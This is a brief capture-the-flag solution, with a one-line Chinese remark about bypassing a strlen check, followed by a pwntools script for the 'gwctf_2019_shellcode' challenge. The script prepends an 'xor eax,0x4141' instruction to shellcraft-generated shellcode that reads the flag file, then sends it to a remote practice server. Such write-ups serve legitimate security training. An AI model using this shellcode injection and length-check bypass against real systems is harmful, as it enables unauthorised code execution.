可视化字符串，绕过strlen投机取巧了
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=remote("node4.buuoj.cn",28275)
# io=process("./gwctf_2019_shellcode")
# elf=ELF("gwctf_2019_shellcode")
# io.recv()
payload=asm('xor eax,0x4141')+asm(shellcraft.cat("flag"))
# gdb.attach(io)
# pause()
io.sendline(payload)
io.interactive()